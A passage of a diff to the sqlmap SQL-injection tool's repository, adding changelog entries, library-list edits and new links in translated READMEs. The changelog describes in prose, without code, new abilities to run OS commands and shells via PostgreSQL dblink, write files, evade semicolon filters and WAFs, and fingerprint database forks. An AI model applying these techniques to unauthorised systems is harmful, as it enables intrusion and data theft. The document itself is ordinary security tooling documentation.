+* Added the running of non-query statements without stacked queries through a gadget. On PostgreSQL, when the `dblink` extension is there and the current user can run it, `--sql-query`, `--file-write`, `--os-cmd`, and `--os-shell` now work from a plain (e.g. boolean-based) injection point.
+* Added file read and file write support for SQLite through the `fileio` extension functions `readfile` and `writefile`.
+* Added the data access and the security type of a routine to the output of `--procs` on MySQL and PostgreSQL, so a routine that runs as its definer or that modifies data stands out.
+* Added stacked query payloads for Microsoft SQL Server and Sybase that carry no semicolon, so a filtered semicolon alone no longer hides the technique.
+* Added the error signatures that tell the MySQL and the PostgreSQL forks apart: Doris, StarRocks, CockroachDB, YugabyteDB, OpenGauss, DuckDB, and Trino. These forks keep the wording of the engine that they come from, so only a leaked driver package or an engine-internal source reference gives them away.
+* Made the fingerprinting payloads friendlier to a WAF, so the version detection survives where it used to get blocked.
+* Added the tamper scripts `blindbinary`, `castprefix`, `dollarquote`, `infoschema2innodb`, `mid2leftright`, `mssqlnosemicolon`, `odbcbrace`, `oraclequote`, `quote2ltat`, `sign`, `sleep2hex`, and `uniontable`.
+
+## Fewer dependencies
+
+* Added an HTTP/2 client. It uses only the standard library.
+* Added WebSocket support. It uses only the standard library.
+* Added the decoding of Brotli and Zstandard responses. It uses only the standard library.
+* Added Kerberos and Negotiate authentication. It uses only the standard library.
+* Added NTLM authentication. This removed a deprecated third-party library.
+* Rewrote the Keep-Alive handler. This removed the third-party package `keepalive`.
+* Removed the third-party packages `multipart`, `odict`, and `prettyprint`.
+* Replaced SocksiPy with PySocks.
+
+## Security
+
+* Removed all use of `pickle`. sqlmap now uses JSON for the session data and for the other serialized data.
+* The REST API now requires authentication credentials.
+* Put the `eval` behavior behind the environment variable `SQLMAP_UNSAFE_EVAL`.
+* Put the option `--alert` behind the environment variable `SQLMAP_UNSAFE_ALERT`.
+* Hardened the Brotli and the Zstandard decoders against hostile input.
+
+## Correctness
+
+* Made the boolean inference more reliable when the network has much jitter.
+* Added automatic recovery when the page charset and the data charset do not agree.
+* sqlmap now finds binary fields automatically in blind mode.
+* Added support for the response code 429 (rate limit).
+* Corrected the retrieval of UTF8MB4 characters from MySQL.
+* Corrected the Set-Cookie behavior in redirections. Added support for domain cookies.
+* sqlmap now keeps the value of an injected Host header.
+* Removed the time outliers from the time statistics.
+* Improved the detection of the SQL dialect of the target.
+* The switch `--xpath` no longer reports an injection when the page changes only because it shows the payload again. Reflection is not proof that an expression was evaluated.
+* sqlmap now makes sure that the random markers around the retrieved data are all different. Two equal markers made the error-based technique give back the wrong character.
+* Made the heuristic hints of the non-SQL switches exclusive. A signature no longer matches the errors of a different engine, an ordinary SQL error, or a page that only contains the name of a template engine.
+* Corrected the GraphQL validation signatures. They now match the quotes in the way that the JSON body escapes them.
+* Added the error signatures of Mako and of DynamoDB. sqlmap did not recognise the errors of these two back-ends.
+* sqlmap no longer stops with an exception on a JWT whose signature is not valid base64url. Such a signature can not be an HMAC that sqlmap could verify, so it is reported as not crackable instead.
+* Corrected the uppercasing of the keywords in the shown queries. A word that merely contains a keyword (e.g. a table named `selected`) and a keyword inside a quoted string are now left alone.
+* Corrected the cracking of the old Oracle password hashes when the user name or the password does not come in as text.
+* sqlmap now skips a UNION test whose request holds no character instead of stopping with an exception. Only a hand-edited `payloads/union_query.xml` can hold such a test.
+* The gadget check now runs the gadget itself instead of only looking for the extension. A user that can not use it no longer gets a false success.
+
+## Quality
+
+* Added a unit test suite. It has more than 90 modules, and it runs on Python 2 and Python 3.
+* Added pyflakes and more self-test stages to the CI/CD pipeline.
+* Added `doc/ARCHITECTURE.md`.
+
 # Version 1.10 (2026-01-01)
 
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10)

doc/THANKS.md

@@ -175,7 +175,7 @@ Ivan Giacomelli, <truemilk(at)insiberia.net>
 * for reviewing the documentation
 
 Dimitris Giannitsaros, <daremon(at)gmail.com>
-* for contributing a REST-JSON API client
+* for contributing a REST API client
 
 Nico Golde, <nico(at)ngolde.de>
 * for reporting a couple of bugs
@@ -623,6 +623,9 @@ Thierry Zoller, <thierry(at)zoller.lu>
 Zhen Zhou, <zhouzhenster(at)gmail.com>
 * for suggesting a feature
 
+Zakaria Zoulati, <https://github.com/zakaria-zoulati>
+* for contributing SAP HANA support
+
 -insane-, <insane_(at)gmx.de>
 * for reporting a minor bug
 

doc/THIRD-PARTY.md

@@ -15,7 +15,7 @@ This file lists bundled packages and their associated licensing terms.
   Copyright (C) 2013, Jonathan Hartley.
 * The `Fcrypt` library located under `thirdparty/fcrypt/`.
   Copyright (C) 2000, 2001, 2004 Carey Evans.
-* The `SocksiPy` library located under `thirdparty/socks/`.
+* The `PySocks` library located under `thirdparty/socks/`.
   Copyright (C) 2006, Dan-Haim.
 
 ````
@@ -46,10 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 
 * The `Chardet` library located under `thirdparty/chardet/`.
   Copyright (C) 2008, Mark Pilgrim.
-* The `KeepAlive` library located under `thirdparty/keepalive/`.
-  Copyright (C) 2002-2003, Michael D. Stenner.
-* The `MultipartPost` library located under `thirdparty/multipart/`.
-  Copyright (C) 2006, Will Holcomb.
 * The `icmpsh` tool located under `extra/icmpsh/`.
   Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
 
@@ -272,8 +268,6 @@ be bound by the terms and conditions of this License Agreement.
   Copyright (C) 2024, Marcel Hellkamp.
 * The `identYwaf` library located under `thirdparty/identywaf/`.
   Copyright (C) 2019-2021, Miroslav Stampar.
-* The `ordereddict` library located under `thirdparty/odict/`.
-  Copyright (C) 2009, Raymond Hettinger.
 * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
   Copyright (C) 2010-2024, Benjamin Peterson.
 * The `Termcolor` library located under `thirdparty/termcolor/`.

doc/translations/README-ar-AR.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -58,11 +58,13 @@
 ----
 
 * الصفحة الرئيسية: https://sqlmap.org
-* التحميل: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* التحميل: [‪.tar.gz‬](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [‪.zip‬](https://github.com/sqlmapproject/sqlmap/zipball/master)
 * تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
 * تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues
 * دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki
 * الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * تويتر: [@sqlmap](https://x.com/sqlmap)
 * العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* ساحة التدريب: https://sekumart.sekuripy.hr
+* الأبحاث: https://www.sekuripy.hr/labs/sqlmap/#research
 * لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots 

doc/translations/README-bg-BG.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -47,4 +47,6 @@ sqlmap работи самостоятелно с [Python](https://www.python.or
 * Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Площадка за упражнения: https://sekumart.sekuripy.hr
+* Изследвания: https://www.sekuripy.hr/labs/sqlmap/#research
 * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-bn-BD.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -58,5 +58,7 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ
 * সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* অনুশীলন সাইট: https://sekumart.sekuripy.hr
+* গবেষণা: https://www.sekuripy.hr/labs/sqlmap/#research
 * স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
 

doc/translations/README-ckb-KU.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -62,6 +62,8 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https
 * پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr
+* توێژینەوە: https://www.sekuripy.hr/labs/sqlmap/#research
 * وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
 
 وەرگێڕانەکان

doc/translations/README-de-DE.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -46,4 +46,6 @@ Links
 * Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Spielwiese: https://sekumart.sekuripy.hr
+* Forschung: https://www.sekuripy.hr/labs/sqlmap/#research
 * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-es-MX.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -46,4 +46,6 @@ Enlaces
 * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Campo de pruebas: https://sekumart.sekuripy.hr
+* Investigación: https://www.sekuripy.hr/labs/sqlmap/#research
 * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-fa-IR.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -81,4 +81,6 @@
 * سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * توییتر: [@sqlmap](https://x.com/sqlmap)
 * رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* زمین تمرین: https://sekumart.sekuripy.hr
+* پژوهش: https://www.sekuripy.hr/labs/sqlmap/#research
 * تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-fr-FR.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -46,4 +46,6 @@ Liens
 * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Terrain de jeu: https://sekumart.sekuripy.hr
+* Recherche: https://www.sekuripy.hr/labs/sqlmap/#research
 * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-gr-GR.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -47,4 +47,6 @@
 * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Χώρος δοκιμών: https://sekumart.sekuripy.hr
+* Έρευνα: https://www.sekuripy.hr/labs/sqlmap/#research
 * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-hr-HR.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -47,4 +47,6 @@ Poveznice
 * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Vježbalište: https://sekumart.sekuripy.hr
+* Istraživanje: https://www.sekuripy.hr/labs/sqlmap/#research
 * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-id-ID.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -50,4 +50,6 @@ Tautan
 * Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
+* Arena latihan: https://sekumart.sekuripy.hr
+* Riset: https://www.sekuripy.hr/labs/sqlmap/#research
 * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-in-HI.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -46,5 +46,7 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.7**
 * अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * ट्विटर: [@sqlmap](https://x.com/sqlmap)
 * डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* अभ्यास स्थल: https://sekumart.sekuripy.hr
+* अनुसंधान: https://www.sekuripy.hr/labs/sqlmap/#research
 * स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
 * 

doc/translations/README-it-IT.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -47,4 +47,6 @@ Link
 * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Campo di prova: https://sekumart.sekuripy.hr
+* Ricerca: https://www.sekuripy.hr/labs/sqlmap/#research
 * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-ja-JP.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -48,4 +48,6 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
 * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* プレイグラウンド: https://sekumart.sekuripy.hr
+* 研究: https://www.sekuripy.hr/labs/sqlmap/#research
 * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-ka-GE.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -46,4 +46,6 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ
 * ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr
+* კვლევა: https://www.sekuripy.hr/labs/sqlmap/#research
 * ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-ko-KR.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -47,4 +47,6 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록
 * 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * 트위터: [@sqlmap](https://x.com/sqlmap)
 * 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* 플레이그라운드: https://sekumart.sekuripy.hr
+* 연구: https://www.sekuripy.hr/labs/sqlmap/#research
 * 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-nl-NL.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -47,4 +47,6 @@ Links
 * Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Speeltuin: https://sekumart.sekuripy.hr
+* Onderzoek: https://www.sekuripy.hr/labs/sqlmap/#research
 * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-pl-PL.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -47,4 +47,6 @@ Odnośniki
 * Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Piaskownica: https://sekumart.sekuripy.hr
+* Badania: https://www.sekuripy.hr/labs/sqlmap/#research
 * Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-pt-BR.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -47,4 +47,6 @@ Links
 * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
+* Playground: https://sekumart.sekuripy.hr
+* Pesquisa: https://www.sekuripy.hr/labs/sqlmap/#research
 * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-rs-RS.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -47,4 +47,6 @@ Linkovi
 * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Poligon: https://sekumart.sekuripy.hr
+* Istraživanje: https://www.sekuripy.hr/labs/sqlmap/#research
 * Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-ru-RU.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
